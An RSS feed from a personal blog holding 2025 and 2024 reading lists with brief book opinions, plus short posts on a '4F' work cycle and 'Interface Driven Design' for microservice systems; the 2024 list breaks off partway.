<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Floyd</title><link>https://hightower.space/</link><description>Recent content on Floyd</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Wed, 01 Jan 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://hightower.space/index.xml" rel="self" type="application/rss+xml"/><item><title>2025 Reading List</title><link>https://hightower.space/posts/2025-reading-list/</link><pubDate>Wed, 01 Jan 2025 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2025-reading-list/</guid><description>&lt;section>
Books read in 2025: 34
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Superabundance: The Story of Population Growth, Innovation, and Human Flourishing on an Infinitely Bountiful Planet&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Marian Tupy&lt;/li>
&lt;li>Gale Pooley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Paradigm shifting book&lt;/li>
&lt;li>Basic thesis: resources get more abundant as population grows and human ingenuity will solve any problems that come up along the way&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The New Gardener&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Pippa Greenwood&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful reference&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Domestic Science: Seasons 1 and 2&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Matt Parker&lt;/li>
&lt;li>Steve Mould&lt;/li>
&lt;li>Helen Arney&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>&lt;a href="https://festivalofthespokennerd.com/product/domestic-science-series-1-and-2/">https://festivalofthespokennerd.com/product/domestic-science-series-1-and-2/&lt;/a>&lt;/li>
&lt;li>A lot of fun to read - great experiments you can do at home with kids&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Cryptography: The Science of Secret Writing&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Laurence Dwight Smith&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read&lt;/li>
&lt;li>Has some good insights and examples&lt;/li>
&lt;li>Fascinating to read a book on cryptography from 1943 - before the ubiquity of computers&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Cryptography: An Introduction to Computer Security&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jennifer Seberry&lt;/li>
&lt;li>Josef Pieprzyk&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful read&lt;/li>
&lt;li>Very technical at points, but a helpful intro to the subject nonetheless&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Lion, the Witch and the Wardrobe&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C.S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great read&lt;/li>
&lt;li>One thing that jumped out to me on this reading: the emphasis on the wisdom of not shutting a wardrobe door behind onself - he definitely knew that his book may provoke some kids to try to find Narnia and wanted to make sure they didn&amp;rsquo;t get stuck in the wardrobe&lt;/li>
&lt;li>One thing that jumped out to me on this reading: after resurrection, Aslan first goes to the Witch&amp;rsquo;s castle to free the prisoners&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Be a Responsible Man&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jim Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great read that is short and practical on a valuable subject&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Below the Edge of Darkness: A Memoir of Exploring Light and Life in the Deep Sea&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dr. Edith Widder&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating read on a subject that was largely new to me&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Life on Svalbard: Finding Home on a Remote Island Near the North Pole&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Cecilia Blomdahl&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read, beautiful pictures and a fascinating place&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Keep Your Kids: How to Raise Strong Kids in an Age of Therapeutic Sentimentalism&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Practical and helpful book on parenting&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Why Machines Learn: The Elegant Math Behind Modern AI&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Anil Ananthaswamy&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating book&lt;/li>
&lt;li>One of the most Fascinating aspects was why modern neural nets don&amp;rsquo;t overfit the training data&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Structure and Interpretation of Computer Programs&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Harold Abelson&lt;/li>
&lt;li>Gerald Jay Sussman&lt;/li>
&lt;li>Julie Sussman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read - loved the examples that teach you about programming and mathematical/computer science topics&lt;/li>
&lt;li>Sometimes the examples get pretty far afield&lt;/li>
&lt;li>Fun to build a metacircular interpreter from the ground up :)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Basic Laws of Human Stupidity&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Carlo M. Cipolla&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very interesting and funny read&lt;/li>
&lt;li>Honestly, surprisingly powerful explanatory power&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Information: A History, a Theory, a Flood&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>James Gleick&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Intriguing history of information/computation theory&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Opt-Out Family: The Case for Independence in an Interdependent World&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Kerry McDonald&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Unimpressed by this book&amp;hellip; some helpful practical advice, but a lot of fear-mongering based on extreme examples&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Everything Bad is Good for You: How Today&amp;rsquo;s Popular Culture is Actually Making Us Smarter&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Steven Johnson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating theory that there&amp;rsquo;s a &amp;lsquo;sleeper curve&amp;rsquo; of increasing complexity in popular culture is making us smarter&lt;/li>
&lt;li>Basically, there&amp;rsquo;s a market for culture today to be re-watchable, re-playable, and re-read-able, which means it has to have more complexity and depth to it&lt;/li>
&lt;li>Aligns w/ my sentiment that video/computer games are underrated (esp. relative to reading)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Prince Caspian&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C.S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not one of the better Narnia books, IMO, but still good&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Fidelity: How to be a One-Woman Man&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great book dealing with various aspects of Biblical sexuality w/ a lot of solid, practical advice&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Reforming Marriage: Gospel Living for Couples&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book! Practical, insightful, and rooted firmly in God&amp;rsquo;s word&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Standing on the Promises: A Handbook of Biblical Childrearing&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>A good book w/ some helpful advice. Not as good as some other resources (&amp;lsquo;future men&amp;rsquo;), but still good&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Biblical Finances&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful overview w/ some practical insights&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Federal Husband&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Really good book&lt;/li>
&lt;li>Practical and theologically rich&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Future Men&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book on raising boys (future men)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Modern Martyr&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>G. K. Chesterton&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very short, but insightful book contrasting modern &amp;lsquo;martyrs&amp;rsquo; w/ the martyrs of old&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Public School Rehab&lt;/i> [-1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not great, there&amp;rsquo;s better resources elsewhere&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>God the Best Portion of the Christian&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jonathan Edwards&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Excellent sermon by Edwards on the blessing and delight of knowing God Himself&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How George Müller Started His Days&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>George Müller&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting read in which George Müller describes his need to be satisfied in God more than anything else (e.g. more than reading content to help prepare a sermon or to help address needs he was facing)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Beyond Personality: The Christian Idea of God&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good read w/ a number of fantastic points and quotes&lt;/li>
&lt;li>He does cover the nature of God a bit, but not as much or in the ways I had hoped&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>An Infinite Journey: Growing Toward Christlikeness&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew M. Davis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very practical and biblically rooted work on sanctification&lt;/li>
&lt;li>Some helpful points&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Love Among the Chickens&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>P.G. Wodehouse&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mildly humorous, but not something I&amp;rsquo;d recommend&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Disciplines of Grace&lt;/i> [-1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jerry Bridges&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very disappointed w/ this book and wouldn&amp;rsquo;t recommend it&lt;/li>
&lt;li>Two main issues were (1) that he doesn&amp;rsquo;t mention the resurrection in his presentation of the gospel which we are supposed to preach to ourselves and (2) he fundamentally misunderstands the relationship between believers&amp;rsquo; works and God&amp;rsquo;s blessing - he argues there&amp;rsquo;s no connection, but Scripture is clear that there is&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Spiritual Disciplines for the Christian Life&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Donald S. Whitney&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book on spiritual disciplines&lt;/li>
&lt;li>Practical and well-founded in Scripture&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Till We Have Faces&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>AMAZING book that gets better w/ each reading&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Spirit and The Church: Priorities from 1 Corinthians 12-14&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jeff Purswell&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful book noting Paul&amp;rsquo;s priorities in 1 Corinthians 12-14 especially around spiritual gifts&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>The 4F Cycle</title><link>https://hightower.space/posts/4f-cycle/</link><pubDate>Sat, 13 Jul 2024 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/4f-cycle/</guid><description>&lt;p>The cycle is this:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>F&lt;/strong>ind - Identify everything that needs to be done&lt;/li>
&lt;li>&lt;strong>F&lt;/strong>ocus - Prioritize the tasks, focussing on the most important&lt;/li>
&lt;li>&lt;strong>F&lt;/strong>inish (or &lt;strong>F&lt;/strong>ix if it&amp;rsquo;s more appropriate) - Do the work to finish (or fix) the task&lt;/li>
&lt;li>&lt;strong>F&lt;/strong>eedback - Get feedback about the work you did and learn from it&lt;/li>
&lt;li>(Return either to step 1 or 2)&lt;/li>
&lt;/ol>
&lt;p>The cycle is iterative. From the last step, you can either go to step 1 and re-identify everything that needs to be done (useful in dynamic environments where the set of tasks is constantly changing) or go to step 2 and re-prioritize the tasks (useful if the set of tasks is unlikely to have changed substantially).&lt;/p>
&lt;p>The &amp;lsquo;4F cycle&amp;rsquo; is helpful for planning and executing work. It is a simple way to ensure that you are doing the right work and that you are doing the work right.&lt;/p></description></item><item><title>Interface Driven Design</title><link>https://hightower.space/posts/interface-drive-design/</link><pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/interface-drive-design/</guid><description>&lt;p>When designing a system with many components which must interact, the primary challenge is getting the components to interact effectively. Typically, each component has a clear set of responsibilities and building it is relatively easy. The difficulty comes when you need to talk to another component.&lt;/p>
&lt;p>In this blog post, I advocate for a design approach I call &amp;ldquo;Interface Driven Design&amp;rdquo; and provide a framework for applying Interface Driven Design when designing (or trying to understand) a system.&lt;/p>
&lt;h2 id="why-is-interface-driven-design-useful">Why is Interface Driven Design Useful?&lt;/h2>
&lt;p>When designing complex systems made up of many components in communication, the most error-prone location is often in the system interfaces (at the component boundaries).
Interface Driven Design helps designers focus on one of the most challenging areas of system design. It also makes it easy for teams building different components to collaborate effectively.&lt;/p>
&lt;h3 id="when-is-interface-driven-design-useful">When is Interface Driven Design Useful?&lt;/h3>
&lt;p>Generally, it is useful in systems with at least two of the following:&lt;/p>
&lt;ul>
&lt;li>With many components which communicate with each other&lt;/li>
&lt;li>Being built by multiple teams&lt;/li>
&lt;li>Microservices which are each relatively simple, but form a complex system with emergent behaviour&lt;/li>
&lt;/ul>
&lt;h2 id="how-to-apply-interface-driven-design">How to Apply Interface Driven Design?&lt;/h2>
&lt;p>Interface Driven Design can be applied at multiple levels.
For the sake of this article, we&amp;rsquo;ll apply it at the level of each component of a mircoservice system.
I like to use the following framework to think about each component:&lt;/p>
&lt;ol>
&lt;li>Triggers
&lt;ul>
&lt;li>This section should include which systems/event trigger the component as well as what data gets sent to the component&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Side-effects
&lt;ul>
&lt;li>This section includes any side-effects which are performed by the component (e.g. writing to a DB or triggering another component)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Errors/Failures
&lt;ul>
&lt;li>This section details the errors this component may raise/return (usually just the ones that the component will intentionally raise/return)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Response(s)
&lt;ul>
&lt;li>This section documents the response(s) the component gives to the various triggers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol></description></item><item><title>2024 Reading List</title><link>https://hightower.space/posts/2024-reading-list/</link><pubDate>Mon, 01 Jan 2024 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2024-reading-list/</guid><description>&lt;section>
Books read in 2024: 52
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Birth Partner&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Penny Simkin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very helpful and practical book&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>When the Man Comes Around: A Commentary on the Book of Revelation&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful explanation of Revelation from a partial preterist and post millennial view&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Reformed Basics&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;li>Toby Sumpter&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Helpful intro to reformed theology&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Misinflation: The Truth about Inflation, Pricing, and the Creation of Wealth&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;li>David Bahnsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great book correcting some economic misunderstandings&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Ploductivity: A Practical Theology of Work &amp;amp; Wealth&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great book - very practical and highly recommended&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Household and the War for the Cosmos: Recovering a Christian Vision for the Family&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C.R. Wiley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Felt like a teaser for other works&amp;hellip; not worth reading&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Scale: The Universal Laws of Life, Growth, and Death in Organisms, Cities, and Companies&lt;/i> []&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Geoffrey West&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Treasure Seekers&lt;/i> []&lt;/summary>
Author(s):
&lt;ul>
&lt;li>E. Nesbit&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>In the House of Tom Bombadil&lt;/i> [10]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Not sure I agree with his thesis (that Tom represents stewardship and dominion without domination), but a very interesting read nonetheless&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Born to Wonder: Exploring Our Deepest Questions—Why Are We Here and Why Does It Matter?&lt;/i> []&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Alister McGrath&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Talk to Anyone: 92 Little Tricks for Big Success in Relationships&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Leil Lowndes&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>A few interesting tips, but mostly felt like cheap tricks&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>7 Habits of Highly Effective People&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Stephen R. Covey&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>This remains one of the most impactful books I have ever read. Well worth reading every day.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lambda Calculus from Ground Up&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David Beazley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mind-blowing &lt;a href="https://www.youtube.com/watch?v=pkCLMl0e_0k">talk&lt;/a>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Biblical Interpretation&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Vern Poythress&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>A great lecture series by Vern on the subject of biblical interpreation.&lt;/li>
&lt;li>Available in Canon+&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Intelligent Investor Rev Ed.: The Definitive Book on Value Investing&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Benjamin Graham&lt;/li>
&lt;li>Jason Zweig&lt;/li>
&lt;li>Warren E. Buffett&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very insightful book on investing. Definitely one of the best I&amp;rsquo;ve ever found.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Thoughts for Young Men&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J.C. Ryle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book with some helpful admonitions&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Leadership Strategy and Tactics: Field Manual&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very helpful practical guide to leading anything from a team to a family to an organization&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Economics; Money &amp;amp; Hope&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>R. J. Rushdoony&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Underwhelming&amp;hellip; I think there are better voices out there on these subjects&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Shelf Life: Reading, Thinking and Resisting the Tyranny of the Urgent&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>George Grant&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Amazing lecture challenging the listeners to repent by reading&lt;/li>
&lt;li>Available in &lt;a href="https://mycanonplus.com/tabs/listen/audiobooks/27544">Canon+&lt;/a>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Read a Book: Advice for Christian Readers&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew David Naselli&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read with some great recommendations/lists of what to read&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Read The Room: A Worldview Guide To Interior Design&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rebekah Merkle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating look at interior design and the language of art and design in general&lt;/li>
&lt;li>Available in &lt;a href="https://canonplus.com/tabs/discover/videos/27902">Canon+&lt;/a>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Till We Have Faces&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>This remains one of the most powerful books I&amp;rsquo;ve ever read&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Practical Object-Oriented Design: An Agile Primer Using Ruby&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Sandi Metz&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very insightful read that does a great job of communicating the principles of good design&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Fourth Turning Is Here: What the Seasons of History Tell Us about How and When This Crisis Will End&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Neil Howe&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating read&lt;/li>
&lt;li>Generational cycles that repeat every four generations produce a cycle of about 80 years - and we are transitioning from one cycle to another now&amp;hellip;&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Interpreting the Bible&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>A. Berkeley Mickelsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Does a good job of giving practical advice&lt;/li>
&lt;li>A helpful resource on various topics&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Strangely Bright: Can You Love God and Enjoy This World?&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Joe Rigney&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very helpful book for the American church&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Screwtape Letters&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great read as always. Appreciated the notes about men vs. women&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
